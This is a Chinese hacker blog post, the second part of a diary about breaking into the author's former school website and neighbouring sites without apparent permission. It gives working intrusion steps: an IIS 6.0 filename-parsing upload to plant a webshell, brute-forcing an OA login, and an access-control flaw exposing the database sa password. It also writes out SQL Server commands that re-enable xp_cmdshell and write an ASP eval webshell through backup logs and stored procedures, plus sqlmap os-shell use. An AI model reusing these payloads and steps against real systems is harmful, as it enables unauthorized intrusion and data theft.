渗透测试 - 黑客技术 | 渗透纪实之母校官网- part 2

前奏在这里，传送门：渗透纪实之母校官网不谢。

#线索中断

等我放学回家的时候不好意思服务器掉了后门掉了漏洞补了导致内网线索断了

没错断了就这样断了！

#无奈继续撸旁站内网

N久搞到个后台

第一次见 powereasy 这个版本由于是iis6.0 随便找个上传不改名的的地方上传类似1.asp;1.jpg之类的文件就能解析

仔细研究了下在系统设置-模板标签管理-模板管理底部上传一个1.asp;1.html的文件就ok-

左边我圈的地方模板名，我下载个程序研究了下路径，是这样：

根目录/Template/模板名/binghe.asp;binghe.html

这里就是

***.com/Template/海洋之星模板方案/1.asp;1.html

很容易的拿到了shell

很容易的提权

是个内网，转发，然后就没有然后了，给你两张图自己体会

#不能放弃，但何时是个头？

为什么还要拿旁站，因为上次拿下的太卡了进不去服务器无法内网渗透

目标：http://www.********.com

先来张图

但是不好意思这是半年前的菜刀缓存，现在已经掉了，想拿回来进内网

人老了啊，就好忘事忘了怎么拿的了主页逛了半天没发现注入啥的这个小站你还指望什么xss打管理？几年登陆一次

找到个博客的二级目录

注册个用户进去没有管理权限于是乎收集原博客用户着手爆破

我很心痛这密码。。。

文件管理各种截断各种潜规则测试无果结论：这个后台并无卵用(大牛可以试试)

接着发现几个都是二级目录先看OA

小菜见识短浅不曾见过这种更别说漏洞什么的

学习了乌云大牛的逻辑漏洞，判断出这里确实可以用于爆破用户名，存在的用户名和不存在的用户名脚本给的response不一样，经测试 admin一定是存在的

用burp枚举密码喽，因为这里没验证嘛，密码判断出是admin，登录试试

嗯？随便一个密码试试，这样子

什么鬼？密码正确还不给进去难道。。。可能限制了ip啥的或者是什么新的技术小菜惭愧

后来转来转去竟然有越权漏洞

这个

和这个

sa密码出来了由于是内网直连不行试着在sql执行池里执行几个语句哇擦没有回显。

执行

[AppleScript]纯文本查看复制代码

exec master..xp_cmdshell 'ver'

显示错误

恢复一下xp_cmdshell

[AppleScript]纯文本查看复制代码

2EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'declare @o int

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

再执行

[AppleScript]纯文本查看复制代码

exec master..xp_cmdshell 'ver'

这次不显错了说明语句已经运行没有回显而已

在菜刀缓存里面得到网站绝对路径尝试echo写shell

[AppleScript]纯文本查看复制代码

exec master..xp_cmdshell 'echo"123">e:\inetpub\wwwroot\oa\cs\1.asp'

访问无果什么鬼？难道管理员上次发现被黑换了服务器？

来利用他这个执行错误就报错的特性判断目录存在

[AppleScript]纯文本查看复制代码

exec master.dbo.xp_subdirs 'e:\binghesec\';//测试一个不存在的目录

果然报错

[AppleScript]纯文本查看复制代码

exec master.dbo.xp_subdirs 'e:\inetpub\wwwroot\oa\';//测试原根目录

不报错。。

这我就不明白了什么鬼？？！！！！

再试试备份法

[AppleScript]纯文本查看复制代码

alter database mastersetRECOVERY FULL--

create table cmd(aimage)--

backuplogmastertodisk='c:\cmd1'withinit--

insertintocmd(a)values(0x3C256576616C20726571756573742822612229253E)--

backuplog[northwind]todisk='e:\inetpub\wwwroot\oa\1.asp'--

drop table cmd--

0x3C256576616C20726571756573742822612229253E是hex的<%eval request(“a”)%>

再试试访问1.asp，同样是fuck the dog，404，sa 都搞不定我也是醉了

以下是mssql存储过程写文件都没成功

[AppleScript]纯文本查看复制代码

6exec master.dbo.xp_subdirs 'c:\www\';

exec sp_makewebtask 'c:\www\hack.asp','select''<%execute(request("SB"))%>'' '

declare @o int,@f int,@t int,@ret int

exec sp_oacreate 'scripting.filesystemobject',@o out

exec sp_oamethod @o,'createtextfile',@f out,'c:\testing.txt',1

exec @ret=sp_oamethod @f,'writeline',NULL,<>

看来我得放弃这里了

再回到OA，看了半天没什么进展，望着主页发呆,随手习惯性输入‘or’=’or’ ，点登陆竟然没反应竟然不提示不存在该用户很明显的注入啦抓个包丢sqlmap

sqlmap -r '/tmp/log.txt'

–is-dba返回yes 来–os-shell,结果令我失望

注意看我圈的地方说明取得不到回显这对我们获得信息很不利

大牛说在os-shell无回显的情况下，写一个cmd命令下面这里选n，命令其实已经运行了

执行echo写个shell到根目录试试访问也不行

直接cmd不行那咱来sql-shell自己执行试试还是不行

百般无奈退而求其次跑数据进后台。

竟然是这样，谁能告诉我为什么sa竟然跑不出数据??

尝试编码 —hex 和—no-cast 也是不行

说到这里我已经什么都不想说了给我根绳子吧结实点的！

#结语

说了这么多就是没搞下！还得多学习！

未完待续，下篇终结，有些知识点还是可以看看的哦。

作者：池寒

黑客

渗透纪实之母校官网- part 2

相关文章